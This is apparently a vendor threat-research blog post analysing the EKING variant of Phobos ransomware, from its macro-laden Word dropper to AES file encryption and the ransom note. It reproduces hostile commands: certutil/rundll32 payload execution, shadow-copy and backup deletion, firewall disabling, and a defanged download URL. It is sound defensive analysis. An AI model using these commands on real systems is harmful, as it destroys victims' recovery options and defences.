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Affected platforms: Microsoft Windows
Impacted parties: ~ Windows Users
Impact: Encrypts Victims’ Files for Ransom

Severity level: Critical

The Phobos ransomware family is fairly recent, only having been first spotted by security researchers in early 2019. But
since then, it has continued to push out new variants that not only evolve attack methods, but also frequently change the
extension name of encrypted files in past variants. And in its short history, its victims have often complained that they were
cheated by the attacker of Phobos by not restoring files.

Two weeks ago, FortiGuard Labs captured a new threat sample from the wild. It was a Microsoft Word document with a
malicious Macro designed to spread the EKING variant of Phobos. I ran a deep analysis on this sample, and in this analysis
post I will show how this variant infects victim’s system and how it scans and encrypts files using an AES algorithm on a

victim’s device as well as shared network folders.

Later, in December 2020, I also presented my findings from this Phobos variant (with title "Pay_or Lose Your Critical Data -
Deep Analysis of A Variant of Phobos Ransomware") on AVAR 2020 Virtual.

Opening the Captured Sample in MS Office Word

After opening the Word document, it displays a warning that directs the victim to click an “Enable Content” button on the

yellow bar to enable Macros, as shown in Figure 1.1.

Since Macros can contain malicious code, MS Office Word by default displays a Security Warning that warns users that the
document could be risky. The user can then decide whether or not to execute the Macro (by clicking the “Enable Content”
button).

@| = |+ Doc_7830.doc [Compatibility Mode] - Microsoft Word = @ =
Home Insert Page Layout References Mailings Review View Developer @ e
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DOCUMENT PROTECTED
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If this document was downloaded from your email,
please click "Enable editing” from the yellow bar
above.

Once you have enabled editing, please click
"Enable content” on the yellow bar above.
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Figure 1.1. Sample content in MS Office Word

However, the document warning screen is a ruse. Going through the Macro code, I found that it has a built-in event function
named Document_Close(), which is invoked automatically when MS Office Word exits. In other words, the malicious
Macro code is executed when the victim closes the document. This also has the benefit of bypassing detection by some

sandbox solutions (FortiSandbox detects this malicious Word attachment as riskware.)
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The code of the Macro is simple and clear. It extracts a base64-encoded block from the opened sample into a local file at

“C:\Users\Public\Ksh1.xls”. It then decodes the file into another file by calling the command “Certutil -decode

C:\Users\Public\Ksh1.xls C:\Users\Public\Ksh1.pdf”. “Ksh1.pdf” is a base64-decoded file, which is a PE file (DLL
file). Figure 1.2 is a screenshot of the Macro code, showing where it is about to perform a command to base64 decode the
file “Ksh1.xls” into “Ksh1.pdf”.
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Figure 1.2. Macro to base64 decode extracted file

The final task of the Macro is to execute the decoded PE file “Ksh1.pdf” by executing the command “RundlI32

C:\Users\Public\Ksh1.pdf,In”. The decoded PE file “Ksh1.pdf” is a DLL file with export function “In” that is called by

“Rundll32.exe” in the a

bove command line.

-text:10001000 ;
-text:10061008
-text:180010080
-text:10081008
-text:186081888 In
-text:100010080
-text:10001000
-text:1080681065
-text:1080810805
-text:100810085
-text:180810885
-text:1000100A
-text:1000100F
-text:18068106F
-text:10001006F
-text:10081012

—

public In
l]l‘l][: near

DATA XREF :

.rdata:off 1006212810

call

call

call

sub_10600187F

sub_106861612

sub_106618D68

CreateDirectoryf

URLDownloadToFile

C:Z\Usersy\Publici\cs5

“http://178.62.19.66/canpo/u/v”
*C:\Users\Publichcs5\cs5.exe”

CreateProcessA "Ciy\Users\Publicics5\cs5.exe™

retn
endp

10h

Figure 1.3. ASM code of the export function In

Figure 1.3 shows the ASM code of the export function “In” of “Ksh1.pdf”. From my comments inserted next to the ASM

code, one can easily understand that it first creates a new directory at “C:\Users\Public\cs5”. It then downloads a file from
the URL “hxxp://178[.162[.]19[.]66/campo/v/v” into file “C:\Users\Public\cs5\cs5.exe” by calling the API
“URLDownloadToFile()”. And finally, it runs up the downloaded “cs5.exe” file by calling the API “CreateProcessA()”. By

the way, the download URL string and full file path string are hard coded in the DLL file “Ksh1.pdf”. Interestingly, the

downloaded file “cs5.exe” is the payload file of Phobos.

Looking into the Payload EXE File

“C:\Users\Public\cs5\cs5.exe” is the payload of the EKING variant of Phobos, which has been protected by an unknown

packer, as shown in Exeinfo PE in Figure 2.1.
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Figure 2.1. Protected Phobos payload EXE file

Phobos has an AES encrypted configuration block that contains much configuration information (69 items in this variant).
These are decrypted in a function before being used with an index number argument. It also contains the new extension
string for encrypted files, data to generate key for encrypting files, a file exclusion list, version information of Phobos,

ransom information for the victim, and so on.

In Figure 2.2 we can see an example of decrypting the new extension for encrypted files “.id[<<ID>>-2987].
[wiruxa@airmail.cc].eking”, whose index number is 0x04. According to one decrypted string “[<<ID>>-2987] v2.9.1”,

whose index number is 0x33, we know the version of this variant is v2.9.1.

;k OllyICE - [*C.P.U™ - main thread, module cs5]

E EFile View Debug Plugins Options Window Help

Pauced | (||l 0] ] E] e[ E] =] ] O ] e ] ] R R 1) 52
0 ES TE4A0000 call 00406347

ush esi
Epush 4
mo ;urd ptr [ebp-18]. eax

dq mov dword ptr [ebp—C]. esi
C o duord ptr [ebp—4]. esi
call 00406347
mov dword ptr Lebp—1C]. eax
add esp, 20
lea cax, dword ptr [cbp—48]
00401 ,Eo mav dword ptr [ebp-10], esi

 mimrsamns

Eax—UOZ@ACO (UNICODE “ 1d[<<ID>>—2987] [mruxa@a].rmall ccl. eking”)
Stack ss: [OOIZFEQC] 00000003

Figure 2.2. Decrypting a new extension from the configuration block

Start a Second Process and Execute Two Groups of Commands

When “cs5.exe” runs, it creates a second process of itself by calling the API CreateProcessWithTokenW(), along with a
token from Explorer.exe process so that the second process runs in the security context of the Explorer.exe’s token. In this

way, it has the privilege needed to read and write more files on the victim’s system.
Phobos executes two groups of commands in two created threads.
The first group of commands are listed below with my added comments:

vssadmin delete shadows /all /quiet — Deletes all of the volume's shadow copies.

wmic shadowcopy delete — Deletes shadow copies from local computer.

bededit /set {default} bootstatuspolicy ignoreallfailures

bededit /set {default} recoveryenabled no — Disables the automatic startup repair feature.
wbadmin delete catalog —quiet — Deletes the backup catalog.

exit

By deleting the shadow copies that the Windows system makes for system restore, the victim is not able to use it to restore

the encrypted files. It also prevents the victim from restoring files from an automatic startup repair or from a backup catalog.
The commands of the second group turn off the Windows Firewall on the infected system, as shown below.

netsh advfirewall set currentprofile state off — For Windows 7 and later versions.

netsh firewall set opmode mode=disable — For Windows XP, Windows 2003 versions.
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exit
Adding Auto-run Items

The malware also decrypts the string "Software\Microsoft\Windows\CurrentVersion\Run" (index number is 0x11), which is
the registry subkey path, from the encrypted configuration block. It then creates an auto-run item “cs5” to the same subkey
of both root keys, HKEY_LOCAL_MACHINE and HKEY_CURRENT_USER. Figure 4.1 is a screenshot of the added
auto-run item under the root key “HKEY_CURRENT_USER”.

# Registry Editor =]
File Edit View Favorites Help
P . NetCache * || Name Type Data
' P""‘:‘ 1 r-25l(Default) REG SZ__(value not set)
. EAD R B E"‘J cs5 REG_SZ C:\Users\MﬂVTs;ﬂEHV\AppData\Loca\\c;iexe|
i . Run -
« m | P
ICompu‘ter\HKEY_(URRENT_USER‘\Soﬂware\Microsoﬁ.\Wlndows\CurrentVersion\Run I
[ =3][=]
@Qv| . %« Users » Public » cs5 ch cs5 p|
File Edit View Tools Help
Organize « Include in library = Share with = New folder =« i @
Name ‘ Date modified Type Size
FZ cs5.exe 9/17/2020 519 PM  Application 1,101 KB F

Figure 4.1. Added auto-run item “cs5”

Other than adding this item into the auto-run group in the system registry, it also copies “cs5.exe” into two auto startup
folders: “%AppData%\Microsoft\Windows\Start Menu\Programs\Startup” and “%ProgramData%\Microsoft\Windows\Start
Menu\Programs\Startup”. Figure 4.2 shows the ASM code snippet of copying “cs5.exe” into the two startup folders.

88401488

200481488 loc_WB148B: ; CODE XREF: sub_u81236+2C6)j
100401488 push [ebp+uvar_18] ; UNICODE "cs5.exe"”

:0040148E push edi

2004 0148F push [ebp+uar_24] ; Array of path of startup.
200401492 push 3

00401494 push esi

180481495 push ebx

00481496 5 i3 strcat,

00401498
40149E
00401480 short loc_LO1LES
200401442 1 s bFaillfExists
20040140 push ebx ; Path to one startup of two.
004081405 push [ebp+lpExistingFileName] ; UNIGODE “C:\Users\PublicYcs5\cs5.exe”
100401408 ds:CopyFileW
-084014AE [ebp+uar_18] ; unicode “osen.txt"
08401481 edi
08401482 ebp+uar_24] ; Array of path of startup
00401485 push
00401487 push
00401488 push ebx
00401489 call sub_LB59F1 ; 33 strcat,
-084014BE add esp, 18h
00401461 test eax, eax

Figure 4.2. Copy payload file into startup folders

Executable files in these two folders are executed automatically by Windows system when Windows starts. That means that
four “cs5.exe” files will be started by Windows at startup to maintain malware survival. You don’t need to worry about the
conflict. Phobos has a mechanism that uses a Mutex object to ensure only one process is running. The other “cs5.exe”

processes exit if the same Mutex object exists.

Core Tasks Phobos Performs on a Victim’s System

For ransomware, the core task is to encrypt victim’s files and then demand a ransom for decrypting those encrypted files. In

this section, I will show you how the EKING variant of Phobos performs this task.

To increase its performance, it creates a number of threads to scan and encrypt files on the victim’s system. In addition, it

uses a lot number of Event objects to control and synchronize the progress of these threads.

1. Thread to Terminate Processes
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It begins by starting a thread to keep from terminating specified processes from a name list that contains forty-one process
names shown, as below. As you may guess, the name list was also decrypted from the configuration block with index

number 0x0a.

msftesql.exe;sqlagent.exe;sqlbrowser.exe;sqlservr.exe;sqlwriter.exe;oracle.exe;ocssd.exe;dbsnmp.exe; synctime.exe; agntsve.exe;mydesktopqos.exe;isqlplus
nt.exe;mysqld-

opt.exe;dbeng50.exe;sqbcoreservice.exe;excel.exe;infopath.exe;msaccess.exe;mspub.exe;onenote.exe;outlook.exe;powerpnt.exe;steam.exe; thebat.exe; thel
This process name list has been spotted many times being used by other Ransomware families to do the same action.

These processes belong to products like MS SQL Server, Oracle Database, VMware, Panda Security, MySql, FireFox, SQL
Anywhere, RedGate SQL Backup, MS Excel, MS Word, MS Access, MS PowerPoint, MS Publisher, MS OneNote, MS
Outlook, The Bat!, Thunderbird, WordPad, and so on.

Phobos keeps terminating these applications to force them to release any files they have currently opened so Phobos can
encrypt them.

2. Threads to Scan Files to Encrypt

The thread function of this thread calls the API GetLogicalDrives() to obtain and enumerate all logical drives on the victim’s
system, such as “C:\”, “D:\”, “E:\” and so on. It then creates two scan threads for each logical drive. That means the files in
each logical drive are handled by two threads.

¥z OllyICE - [*C.P.U" - thread 00000494, module cs5] ==
Efw\e View Debug Plugins Options Window Help o

Pased | &) W] ] EE] S S EEMEWEEAREREE] =2
00402FF1|  25F6 test esi, esi » |[Registers (FPI) <
0040ZFF3(. 74 24 Jje short 00403019 [AEAX 001BADCO
00402FF5 | FF75 0C push  dword ptr [ebptC] ECY 0D0L00SC
00402FF8| SEDE mov edz, esi { IOOIBERSE] UNICODE “c:\windows”
ER 12070000 |eall ~ 00403711 0024F 8A e

0040ZFFF pop ecx ' 023EFF3C
00405000 test eax, eax 023EFF48
00403002 (, 79 11 Jjns short 00403015 001BFF38 ODE
00403004|  85FF test edi, edi ODE “D:
00403006, T4 11 [ chort 00403019 [ GO "

" Lo 1 2 00402ZFFA 0402FFA
ppapETIIEobaETL C 0 ES 0023 32bit O(FFFFFFYF)
OOIBFFSq c:\windﬂws.c:\prngramdata\nﬁcrmsnft\windmws\caches.l. - 001BAF40|UNICODE "\A2\D:™ | -
L 5 e 0Z3EFF40| UUIE D28
001C0O038]. .. o 0Z3EFFdd
001CO0BE]. .. 1l 0Z3EFF48 pL
@SN 20000 30000000300000000000000000 00000000 0000000000023 — | DZ3EFF4C RETURN to csb. 004056EC )
001C01BE | 5. %8nj . {Ecmipnpinstall.dll. 5.%8& . - certpoler | 0Z3EFF50 CO i
Start 1BFF38 End 1BFFSB Sel 0464 [

Figure 5.1. Ignore two system folders

To avoid destroying the victim’s Windows system, it ignores encrypting files under two system folders and their sub-folders,
which are “%WinDir%” (usually “C:\Windows”) and “%ProgramData%\Microsoft\Windows\Caches”. Figure 5.1 shows

that Phobos is able to detect if a current path (“\\?\D:”) matches the two system folders it needs to ignore.

As mentioned, it creates two threads for scanning each logical drive’s files. One thread is for normal scan (one file by one
file) and the other is a special scan only for database related files. I can assume that these kinds of files have more value for
the victim than the others. It then scans database files by the following extensions, listed below (decryption index number is
0x06):

fdb;sql;4dd;4dl;abs;abx;accdb;accdc;accde;adb; adf;ckp;db;db-journal;
db-shm;db-wal;db2;db3;dbc;dbf;dbs;dbt;dbv;dcb;dp1;eco;edb;epim;fcd;gdb;
mdb;mdf;1df;myd;ndf;nwdb;nyf;sqlitedb;sqlite3;sqlite;

Besides this, it also has two extension exclusion lists. One contains the encrypted file extensions that Phobos has used in its

history, as listed below (decryption index number is 0x07):
eking;actin;Acton;actor;Acuff;Acuna;acute;adage;Adair;Adame;banhu; banjo; Banks; Banta; Barak; Caleb; Cales; Caley;calix;Calle; Calum;Calvo;deuce; L

The other list contains files that this variant uses to show its victim the ransom information, as well as some Windows

system files, as listed below (decryption index number is 0x08):
info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;osen.txt

Both of these exclusion lists are used by the scan thread in a callback function to filter files to encrypt according to its rules.
Meanwhile, Phobos also creates an encryption thread in each scan thread for encrypting the victim’s files. Here is how the
scan thread and encryption thread work together: The scan thread keeps scanning files, and copying the file name with full
path into a common buffer and an event is set once one file is selected. The encryption thread then can obtain the file name

from the common buffer and encrypt.

Page 5 of 11



https://www.fortinet.com /blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware

3. Encryption Algorithm and Key Phobos Uses

Pbobos uses AES (Advanced Encryption Standard) CBC (Cipher Block Chaining) mode as its encryption algorithm for
encrypting files. In my analysis, this variant of Phobos does not use the built-in Crypto APIs for AES that Windows

provides, but implements its own AES function.
As you may know, when people talk about AES CBC encryption and decryption, “IV” and “Key” are often mentioned.

For its key length, we know Phobos uses a 256-bit AES key (20H bytes), which is the strongest file encryption. Moreover, it
uses an asymmetric public-private key cryptosystem to protect the AES key. The public key is decrypted from the

configuration block with index number 0x2.

I ~

32 OllyICE - [*C.P.U* - thread 00000CBS, module cs5] == ECR <=
[€] File View Debug Plugins Options Window Help NEE
Paused  [[E8] @] 0] W] e sz ez 02T U 0T SN = e
00401B0E FF7T 10 push dword ptr ledi+l0] * | Registers (FPU)
00401B11 GE:894d24 28 |mow word ptr [espt28]. ax [EAx TOOLEDASD
00401B16| FF7T OC push dword ptr [edi+C] ECY 00000034
00401B19| FF37 push dword ptr [edi] EDX 00000039
00401B1B| FF7424 20 EBX 001BCERD TINIC
00401B1F| ES EZFBFFFF r call 00401706 ESP 01EEFF4C

59 Bop Bcx EBP 01EEFF22
00401B25| 50 push eax ESI 00000002
00401B26 8D4424 2C 1.3151 eax, dword ptr [esp+2C] <|EDI 001C18C0
Stack [01EEFF4C]= L..lFlﬂq” EIP 00401B24 csb. |
O0IT0A50]86 AD 4D 45 BL OF 2 Ags jray D 61 F1 97 08 95 48|FGllE?) 7] aAwE - e - |
O01BDABO ¥ ., h':—°$D°I 01EEFF50
OO1BDATON39 A8 BF OC BT 6b E6 95 DO 5Z 64 Ad 11 8B 51 FZ i%?gdqféaﬁ‘? 01EEFF54
OO1BDAROY9F 2D D6 64 TC 8D 5E 12 F5 90 95 25 91 16 94 99 E;’ﬁ. 01EEFF58
001BDAGO|SD BZ D3 75 42 Rr sn ndlR1 a1 4R 15|08 80 24 52|14 uBﬂiJQf J'n€$ O1EEFF5C
001BDAAO|CF LF E3 87 4F Encrypted AES KeyB7 /17 B6 75 53 qﬁiOﬁﬁfﬂmsi% 01EEFF60
001BDABO|19 E3 33 8E 2F 1o oo 1a/ue ve e 0577 13 2D 8D|I2213-48. |wi- r, 01EEFF64
O01BDACO|ST CD A0 8A SE A6 BF 36 B2 CD A9 Bd 45 5D 5F 53 JwiH22 - 68 £] 01EEFF63
O01EDADO|3F 1E A5 82 OA BB TE ED | FA 14 AS 24|65 2F 73 362 - . SRR c/sB 3| O1EEFF6C
O01BDAEC|S8 BF 00 A1 E8 D1 3E 53 6E A0 65 OE 9B 7D 23 BA K”HQSnﬁfFﬁdﬂ#" — | O1EEFFT0
O01BDAFOLLID 9A AZ ES[00 00 00 00 E9 3E 5F 44 8F 70 00 00 359,97 D=, . 01EEFF74| [
O01BDBEOC |50 FD 1B 00 490 F2 1B 00 90 F2 1B 00 BO FF 1B 00|P?. E‘E‘- e P _|O1EEFF78| _
aodopoia 2g A0 30 00 21 00 28 00 32 00 29 00 g4 00 20 0o 8 0. 1 g 3 9 1 (0 OIEEERTC
Start: 1BDASD End:1BDABF Sek0x20

Figure 5.2 AES key and its public key encrypted

The AES key is generated using 10H bytes of random data and 10H bytes of data from the decrypted public key. As you can
see in Figure 5.2, it has just generated its AES Key (20H bytes) at the top of memory window. The subsequent information is
the related data of the encrypted AES Key (80H bytes) that is generated with the data of the volume serial number of
“%systemdrive%” (like “C:\” on the victim’s system) as well as some decrypted constant values in the function

Sub_401706. The last four bytes following the encrypted AES key are a CRC32 hash value of the above two parts.

To protect the AES key, Phobos encrypts it using RSA algorithm with attacker’s public key. Therefore, as long as the victim
is able to obtain the attacker’s private key, the AES key can be decrypted and furthermore the encrypted files can

be restored. It is hard to obtain the RSA private key with the public key saved in Phobos even through brute force. The
private key is always kept by the attacker.

The encrypted AES key will be recorded in the encrypted file, I will explain the encrypted file structure later.

The IV (Initialization Vector) data is 10H bytes long and is usually randomly generated. It is also recorded in the encrypted
files like the encrypted AES key is. An IV is used along with AES key for data encryption, just like a salt to an MD5

algorithm.

Once the TV data and the AES key are obtained, it can decrypt the encrypted files.
4. Thread for Encrypting Files

As I mentioned above, this is the encryption thread started by the scan thread. Once the scan thread selects a file, it then
copies the file full path to a common buffer for the encryption thread, which is notified by the scan thread (setting an event
object).

It then decrypts a format string (index number 0x04) from the configuration block as a new file extension for those

encrypted files, as seen below, where “<<ID>> will be replaced by the volume serial number of the system drive.

.id[<<ID>>-2987].[wiruxa@airmail.cc].eking
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Figure 5.3 Encrypted file with new extension

This is just a formatted new file name for the encrypted file with the new extension. This time, the file selected and filtered

by a scan thread is “\\?\E:\test_file.txt” and the encrypted file name for it is “\?\E:\test_file.txt.id[[581F1093-2987].

[wiruxa@airmail.cc].eking”.

It continues to read out the content of the selected file (for example: “E:\test_file.txt”). We know the size of the AES

encryption block is fixed at 10H bytes. Thus, if the size of data to be encrypted is not aligned to 10H, it needs to append the

data using padding (Phobos uses “00” as padding) to fix the problem.
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Figure 5.4 Calling the AES_CBC_Encrypt() function to encrypt file content

Figure 5.4 shows that Phobos is about to call the AES_CBC_Encrypt() function, whose arg0 is a key object
(AES_CTX Struct) containing the IV and Key used to encrypt the file content shown in the memory window (with three

“00” padding elements appended to it).

After encryption, Phobos saves the ciphertext into the encrypted file (for example, “E:\test_file.txt.id[[581F1093-2987].

[wiruxa@airmail.cc].eking”) by calling the API WriteFile(), as shown in Figure 5.5.

Page 7 of 11



https://www.fortinet.com /blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware

File  view

Debug
oD E =0

Tracing  Plugins

TN S §

Favourites

&
H

=8

* cs5.exe - PID: 808 - Module: cs.exe - Thread: F40 - x32_dbg
Options

A

Help  Sep 14 2020

Sw#h# L EE

PU | '$Threads | £ Trace

9 push 0O

TEST ==,

I

=
je c¢s5.408AA3
mov eax,dword ptr_ss:[febp-Cll

4 (i

1

000000A
J

+

Default (stdcall) > |5 1 [[] unlodked

lea eax,dword ptr ss:[Jebp-2s] ‘:{ HideaEou ]

push eax | A
= — 02BFFEDS8

push dword ptr ss:|febp-C]) 22x o

push dword ptr ds:[esi+20] EBX 02800020 Il

. =Fc ECX  663542BE -

call dword ptr d=:[<&writeFilex] EDX ‘8" s

b 1: [esp] 000001E0

-

Figure 5.5 Saving ciphertext into an encrypted file

The encrypted file content consists of two parts. The first part is the ciphertext of the original file content. The second part is

a group of data, which I call the decryption_config_block. It is used to decrypt the first part. Figure 5.6 is a screenshot of

encrypted file content. I will explain what the decryption_config_block contains.
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Figure 5.6 Example of the encrypted file content

The first 10H bytes (surrounded by red) are the encrypted original file content—the same as shown in Figure 5.5. The 40H
bytes (surrounded by blue) are an encrypted block that contains some constant values as well as the original file name,
which are encrypted using the same AES Key and IV. The following 14H bytes “00” can be thought as a data delimiter. The
10H bytes (surrounded by black) are the IV data only for this file. The next Dword 0x03 tells the size of the appended
padding to the original file content (refer to Figure 5.5 again). The 80H data block (in green) is the related data of the
encrypted AES key, which is generated in the scan thread and is different for different scan threads. The next Dword 0xF2 is
the size of the entire decryption_config_block. The last six bytes “4B E5 1F 84 A9 77” are decrypted from the configuration
block with index number 0x00.

After that, the last thing Phobos does is to call the API DeleteFileW() to wipe the original file from the victim’s system.
5. Scan Network Sharing Resources

This thread function focuses on network sharing resources. Phobos calls the API WNetOpenEnum() many times using
different values of the argument dwScope. These are RESOURCE_CONNECTED, RESOURCE_RECENT,
RESOURCE_CONTEXT, RESOURCE_REMEMBERED and RESOURCE_GLOBALNET.

RESOURCE_CONNECTED: Enumerates all currently connected resources.
RESOURCE_RECENT: Enumerates all recently connected resources.
RESOURCE_CONTEXT: Enumerates only those resources in the network context of the caller.
RESOURCE_REMEMBERED: Enumerates all remembered (persistent) connections.
RESOURCE_GLOBALNET: Enumerates all resources on the network.

API WNetOpenEnumW() and WNetEnumResourceW() are involved in this work to enumerate network sharing resources.
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Once one resource is successfully obtained, Phobos starts the two scan threads that I discussed in point 2, above, with the
full address to the resource, like \\2\UNC\{resource name }\{folder name}, to start the scan and filter files on it. The scan

thread then starts the encryption thread and is noticed to encrypt when one file is selected, as I explained in point 4.
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Figure 5.7 One sharing resource ready to start the scan thread

Figure 5.7, above, shows a sharing resource (“\?\UNC\VBoxSvr\vbox_share_folder”) that is obtained from
RESOURCE_CONNECTED, and is about to call function Sub_405840 to start a new scan thread on this sharing resource.

6. Thread to Monitor and Scan Future Logical Drives

I have talked about Phobos scanning files on local logical drives, and scanning network sharing resources, which are all the

existing sources to the victim’s system.

There is another thread, whose main task is to monitor future logical drives. Why future? Cause, it occurs in special
situations, for example, the victim attaches a USB flash drive or a cell phone, which the Windows system treats as a new
logical drive. This will be captured by this thread. It runs detection every second and starts two new scan threads for any

new logical drives it detects. Figure 5.8 displays a pseudo code showing the logical structure for this thread function.

25
26 |022 = GetLugicalDriues();l /f obtain initial valule of GetlLogicalDrives()
27 w2 = 8;
28| hostlong = sub_4@3C7A{v1);
2% oeo®
35 sub_4B3955(=({LPCRITICAL_SECTION =)1plien + 3), 56, 8);
960 if ( w21 )
37| «{
38 if ( tv2B )
39 goto return;
48 while { 1 )
1 {
42 ui8 = =*{(_DWORD #*)1lphem + 4);
u3 if ( sub_nues5962() )
Lhy break;
45 Iu? = GetLDgicalDriues();I
46 if ( v/ w22 ) // compare if the value of GetLogicalDrivers{) changed.
47 {
L 11 ]
58 u12 = sub _4B17B6(hostlong);
59 |sub_4@58408({v13, vi2, vio, vd, v20);|// starts a scan thread for new logical drive
60 1F ( =({ DWORD =)Lplen + 1) )
61 {
62 ulk = =({_DWORD =)lpHem + %);
63 u15 = ={{_DWORD *)LpHem + 3);
L1 u16 = ={{_DWORD *)}LpHem + 1);
65 u17 = sub 481786(hostlong);
86 m’iml
67 ¥
68
69 L 1 1]
7h
75 /7 detect every second.
76 y
77| 3
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Figure 5.8 Pseudo code for scanning a new logical drive
Displaying Ransom Information to the Victim

The main thread of Phobos waits for all scan threads and encryption threads to finish their work. It then drops two files,
info.hta (html version ransom information) and info.txt (text version ransom information), onto the Desktop as well as into
the root directory of available logical drives on the victim’s system. It also calls the API ShellExecuteExW() with the
command “open” to open the html version info.hta on the victim’s screen, as shown in Figure 6.1. When contacting the
attacker via email, the victim needs to provide a unique victim ID in the email subject like "581F1093-2987" for my device ,

which consists of a volume serial number of the system drive (usually "C:\") and the variant sub-version number.

encrypted

n

All your files have been encrypted!

All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail wiruxa@ airmail.cc
Write this ID in the ile of your message 581F1093-2987

In case of no answer in 24 hours write us to this e-mail: com or i i ru
You have to pay for decryption in Btcoins. The price depends on how fast you vate to us. After paymernt we wil send you the toal that vill decrypt al your fies.

Free decryption as guarantee
Before paying you can send us up to 5 files for free decryption. The total sze of fies must be less than 4Mb (non archived), and fiks should not contain vakiable information.
(databases,backups, large excel sheets, etc.)

How to obtain Bitcoins
The easiest vy to buy bitcons is LocaBltcoins ste. You have to regter, cick Buy bitcoins, and select the seler by payment method and price.

Ao you can find cther places to buy Bicons and beginners guide here:

hitp.// wwew coindesk. com/infs tiony how~can-i buy-brcoins/

Artention!
« Do not rename encrypted fies.
« Do not try to decrypt your data using thrd party softvare, t may cause permanent data loss.
» Decryption of your fies wih the help of third parbies may cause increased price (they add thei fee to our) or you can become a victim of a scam.

Figure 6.1 Ransom information displayed to the victim

Conclusion on the Deep Analysis of the EKING Variant

In this post, I provided a deep analysis of the EKING variant of the Phobos ransomware. I have presented how the payload
file (cs5.exe) is downloaded from the original MS Word document sample, and what Phobos does to keep it persistent on a

victim’s system.

I primarily analyzed Phobos’s core task — the scanning and encryption of files on the victim’s system. Through this post, we
know now that it not only scans files not on logical drives, but also network sharing resources and new attached logical

drives. I also elaborated on how this variant of Phobos uses multiple threads to finish its work.
Finally, I explained how Phobos displays its ransom information to the victim when encryption is done.

To protect your device from being attack by malware, we recommend not opening email attachments from untrusted

sources.

Fortinet Solutions

Fortinet customers are already protected from this variant of Phobos with FortiGuard’s Web Filtering, AntiVirus, and CDR

(content disarm and reconstruction) services, as follows:
The downloading URL is rated as "Malicious Websites" by the FortiGuard Web Filtering service.

The Word document and downloaded payload file are detected as "VBA/Agent. KBU!tr" and
"W32/Phobos.HGAF!tr.ransom" and blocked by the FortiGuard AntiVirus service.

In addition, FortiSandbox detects the Word document as riskware.

FortiMail users are protected by FortiGuard AntiVirus, which detects the original Word document that is delivering Phobos,
and further protected with the CDR service which can be used to neutralize the threat from all macros within Office

documents.

In addition, to protect devices from being attacked by malware delivered in this way, we recommend that users not open
email attachments from untrusted sources. End user training on how to identify and flag potentially malicious email is also

highly recommended.
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I0Cs:

URLs

hxxp://178[.162[.]119[.166/campo/v/v

Sample SHA-256

[Word Document]
667F88EBDCD4A15529ED02BB20DA6AE2ES5B195717EB630B20B9732C8573C4E83
[Phobos Payload]

6E9CI9B72D1BDB993184C7AA05D961E706A57B3BECF151CA4F883A80A07FDDI55
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